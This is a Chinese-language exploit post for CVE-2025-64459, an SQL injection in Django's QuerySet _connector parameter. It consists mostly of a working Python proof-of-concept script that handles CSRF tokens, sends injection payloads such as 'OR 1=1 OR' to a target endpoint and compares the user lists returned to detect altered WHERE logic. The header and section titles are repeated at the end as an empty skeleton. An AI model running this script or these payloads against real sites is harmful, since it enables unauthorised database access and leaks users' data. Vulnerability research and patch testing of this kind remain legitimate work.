Exploit Title: Django 5.1.13 - SQL注入漏洞

Google Dork: [无] # 此漏洞不适用

日期: 2025-12-03

Exploit 作者: Wafcontrol Security Team

供应商主页: https://www.djangoproject.com/

软件链接: https://www.djangoproject.com/download/

版本: 5.2（5.2.8之前）、5.1（5.1.14之前）、4.2（4.2.26之前）（可能包括更早版本如5.0.x、4.1.x、3.2.x）

测试环境: Ubuntu 24.04 with Django 5.1.13（易受攻击版本）

CVE: 2025-64459

描述：

本概念验证利用了Django QuerySet方法（filter、exclude、get）和Q对象中的SQL注入漏洞，该漏洞出现在使用精心构造的字典作为_connector参数进行扩展时。攻击者可借此向WHERE子句注入任意SQL，可能导致数据泄露、修改或其他数据库安全问题。

该脚本针对一个接受用户输入_connector参数的易受攻击Django应用程序端点。支持多种模式：

baseline: 发送安全请求并显示结果。
exploit: 发送利用载荷并与基线比较。
multi: 顺序测试多个载荷。
check: 自动检查目标是否似乎易受攻击。

使用方法：

1

python3 exploit.py <mode> -u <target_url> [选项]

模式：

baseline: 运行安全基线测试。
exploit: 使用单个载荷运行利用测试。
multi: 测试多个载荷（使用-p多次或逗号分隔）。
check: 使用默认载荷快速检查漏洞。

示例：

1
2
3
4


python3 exploit.py baseline -u http://target/
python3 exploit.py exploit -u http://target/ -p "OR 1=1 OR"
python3 exploit.py multi -u http://target/ -p "OR 1=1 OR" -p "AND 1=0 AND"
python3 exploit.py check -u http://target/

选项：

-b, –baseline: 基线连接器值（默认: ‘AND’）
-v, –verbose: 启用详细输出
-o, –output: 将输出保存到文件

要求：

Python 3.x
requests库（pip install requests）

注意：

本脚本仅供教育和测试目的使用。仅在授权系统上使用。
确保目标端点暴露执行的SQL（例如通过调试模式或自定义模板）以进行演示。
在实际场景中，根据应用程序的响应结构调整解析逻辑。
对于高级用法，为特定SQL方言（如SQLite、PostgreSQL）定制载荷。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225


import re
import sys
import argparse
import json
from typing import List, Tuple, Optional
import requests

DEFAULT_BASELINE = "AND"
DEFAULT_PAYLOADS = ["OR 1=1 OR", "AND 1=0 AND", "OR 'a'='a' OR"]

def extract_sql_and_users(html: str) -> Tuple[Optional[str], List[str]]:
    """
    从HTML响应中提取执行的SQL和用户列表。
    假设模板结构：
    - SQL位于<pre>...</pre>内
    - 用户位于<li>username – email</li>内
    根据实际响应格式调整正则表达式模式。
    """
    # 从第一个<pre>...</pre>中提取SQL
    sql_match = re.search(r"<pre>(.*?)</pre>", html, re.DOTALL)
    executed_sql = sql_match.group(1).strip() if sql_match else None
    
    # 从<li>...</li>中提取用户
    users = re.findall(r"<li>(.*?)</li>", html)
    users = [u.strip() for u in users if u.strip()]
    
    return executed_sql, users

def send_payload(target_url: str, connector_value: str, verbose: bool = False) -> Tuple[Optional[str], List[str]]:
    """
    发送带有连接器值作为搜索字段的POST请求。
    处理CSRF令牌提取和会话管理。
    从响应中返回执行的SQL和用户列表。
    """
    if verbose:
        print(f"[*] 从 {target_url} 获取CSRF令牌...")
    
    # 步骤1: GET请求获取CSRF令牌
    try:
        get_resp = requests.get(target_url, timeout=10)
        get_resp.raise_for_status()
    except requests.RequestException as e:
        print(f"[!] GET请求失败: {e}")
        sys.exit(1)
    
    # 从表单中提取csrfmiddlewaretoken
    csrf_match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', get_resp.text)
    if not csrf_match:
        print("[!] 在响应中未找到CSRF令牌。")
        sys.exit(1)
    csrf_token = csrf_match.group(1)
    
    if verbose:
        print(f"[i] CSRF令牌: {csrf_token[:10]}...")
    
    # 准备POST数据
    data = {
        "csrfmiddlewaretoken": csrf_token,
        "search": connector_value,
    }
    
    # 使用会话维持cookies（包括CSRF）
    session = requests.Session()
    session.cookies.update(get_resp.cookies)
    
    if verbose:
        print(f"[*] 发送POST请求，连接器 = {repr(connector_value)}...")
    
    # 步骤2: POST请求发送载荷
    try:
        post_resp = session.post(target_url, data=data, timeout=10)
        post_resp.raise_for_status()
    except requests.RequestException as e:
        print(f"[!] POST请求失败: {e}")
        sys.exit(1)
    
    # 解析响应
    executed_sql, users = extract_sql_and_users(post_resp.text)
    return executed_sql, users

def run_baseline(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]) -> Tuple[Optional[str], List[str]]:
    print("[*] 运行基线测试...")
    base_sql, base_users = send_payload(target_url, baseline, verbose)
    print("\n--- 基线（安全） ---")
    print("执行的SQL:")
    print(base_sql or "(未找到SQL)")
    print("\n返回的用户:")
    if base_users:
        for u in base_users:
            print(" -", u)
    else:
        print(" (无用户)")
    
    if output_file:
        with open(output_file, 'a') as f:
            f.write("--- 基线 ---\n")
            f.write(f"SQL: {base_sql or 'None'}\n")
            f.write("用户: " + json.dumps(base_users) + "\n\n")
    
    return base_sql, base_users

def run_exploit(target_url: str, payload: str, baseline_data: Tuple[Optional[str], List[str]], verbose: bool, output_file: Optional[str]):
    print(f"\n[*] 运行利用测试，载荷 = {repr(payload)}...")
    exploit_sql, exploit_users = send_payload(target_url, payload, verbose)
    print("\n--- 利用尝试 ---")
    print("执行的SQL:")
    print(exploit_sql or "(未找到SQL)")
    print("\n返回的用户:")
    if exploit_users:
        for u in exploit_users:
            print(" -", u)
    else:
        print(" (无用户)")
    
    if output_file:
        with open(output_file, 'a') as f:
            f.write(f"--- 利用: {payload} ---\n")
            f.write(f"SQL: {exploit_sql or 'None'}\n")
            f.write("用户: " + json.dumps(exploit_users) + "\n\n")
    
    analyze_results(baseline_data[0], baseline_data[1], exploit_sql, exploit_users)

def run_multi(target_url: str, payloads: List[str], baseline: str, verbose: bool, output_file: Optional[str]):
    base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
    for payload in payloads:
        run_exploit(target_url, payload, (base_sql, base_users), verbose, output_file)

def run_check(target_url: str, baseline: str, verbose: bool, output_file: Optional[str]):
    print("[*] 运行漏洞检查...")
    base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
    vulnerable = False
    for payload in DEFAULT_PAYLOADS:
        exploit_sql, exploit_users = send_payload(target_url, payload, verbose)
        if base_users != exploit_users or (base_sql and exploit_sql and base_sql != exploit_sql):
            print(f"[!] 检测到潜在漏洞，载荷: {repr(payload)}")
            print("    用户列表或SQL已更改，表明可能存在注入。")
            vulnerable = True
        if output_file:
            with open(output_file, 'a') as f:
                f.write(f"--- 检查载荷: {payload} ---\n")
                f.write(f"SQL: {exploit_sql or 'None'}\n")
                f.write("用户: " + json.dumps(exploit_users) + "\n\n")
    if vulnerable:
        print("\n[+] 目标似乎易受攻击。")
    else:
        print("\n[-] 目标似乎不易受攻击（或解析失败）。")

def analyze_results(base_sql: Optional[str], base_users: List[str], exploit_sql: Optional[str], exploit_users: List[str]):
    print("\n--- 分析 ---")
    if base_sql and exploit_sql:
        print("[i] 比较基线WHERE子句与利用尝试（建议进行视觉检查）。")
        if base_users != exploit_users:
            print("[!] 基线请求和利用请求之间的用户列表已更改。")
            print("    这表明WHERE逻辑已被更改，与SQL注入一致。")
            print("    如果返回了更多用户，载荷可能绕过了过滤器。")
        else:
            print("[i] 用户列表未更改。目标可能已打补丁或载荷无效。")
    else:
        print("[i] 无法从一个或多个响应中提取SQL。")
        print("    请验证模板是否包含用于SQL显示的<pre>...</pre>。")

def main():
    # 解析命令行参数
    parser = argparse.ArgumentParser(
        description="Django CVE-2025-64459 SQL注入PoC",
        formatter_class=argparse.RawTextHelpFormatter
    )
    subparsers = parser.add_subparsers(dest='mode', required=True, help='可用模式')

    # 通用参数
    def add_common_args(subparser):
        subparser.add_argument('-u', '--url', required=True, help='目标URL (例如: http://127.0.0.1:8000/cve-2025-64459/)')
        subparser.add_argument('-b', '--baseline', default=DEFAULT_BASELINE, help=f'基线连接器值 (默认: {DEFAULT_BASELINE})')
        subparser.add_argument('-v', '--verbose', action='store_true', help='启用详细输出')
        subparser.add_argument('-o', '--output', help='将输出保存到文件')

    # 基线模式
    baseline_parser = subparsers.add_parser('baseline', help='运行基线测试')
    add_common_args(baseline_parser)

    # 利用模式
    exploit_parser = subparsers.add_parser('exploit', help='使用单个载荷运行利用测试')
    add_common_args(exploit_parser)
    exploit_parser.add_argument('-p', '--payload', required=True, help='_connector的利用载荷')

    # 多载荷模式
    multi_parser = subparsers.add_parser('multi', help='测试多个载荷')
    add_common_args(multi_parser)
    multi_parser.add_argument('-p', '--payload', action='append', help='利用载荷（可多次使用）')

    # 检查模式
    check_parser = subparsers.add_parser('check', help='快速漏洞检查')
    add_common_args(check_parser)

    args = parser.parse_args()
    
    target_url = args.url.rstrip("/") + "/"
    baseline = args.baseline
    verbose = args.verbose
    output_file = args.output
    
    if output_file:
        with open(output_file, 'w') as f:
            f.write(f"目标: {target_url}\n\n")
    
    print(f"[+] 目标URL: {target_url}")
    if verbose:
        print("[i] 详细模式已启用。")
    
    if args.mode == 'baseline':
        run_baseline(target_url, baseline, verbose, output_file)
    elif args.mode == 'exploit':
        base_sql, base_users = run_baseline(target_url, baseline, verbose, output_file)
        run_exploit(target_url, args.payload, (base_sql, base_users), verbose, output_file)
    elif args.mode == 'multi':
        payloads = args.payload or DEFAULT_PAYLOADS
        if not payloads:
            print("[!] 多载荷模式未提供载荷。")
            sys.exit(1)
        run_multi(target_url, payloads, baseline, verbose, output_file)
    elif args.mode == 'check':
        run_check(target_url, baseline, verbose, output_file)

if __name__ == "__main__":
    main()

建议/来源：

链接

Django 5.1.13 SQL注入漏洞分析与利用脚本详解

本文详细分析了Django框架5.1.13版本中存在的SQL注入漏洞（CVE-2025-64459），并提供了一个完整的Python利用脚本。该漏洞允许攻击者通过精心构造的`_connector`参数在QuerySet方法中注入任意SQL代码，可能导致数据泄露或篡改。

Exploit Title: Django 5.1.13 - SQL注入漏洞

Google Dork: [无] # 此漏洞不适用

日期: 2025-12-03

Exploit 作者: Wafcontrol Security Team

供应商主页: https://www.djangoproject.com/

软件链接: https://www.djangoproject.com/download/

版本: 5.2（5.2.8之前）、5.1（5.1.14之前）、4.2（4.2.26之前）（可能包括更早版本如5.0.x、4.1.x、3.2.x）

测试环境: Ubuntu 24.04 with Django 5.1.13（易受攻击版本）

CVE: 2025-64459

描述：

使用方法：

模式：

示例：

选项：

要求：

注意：

标签：

建议/来源：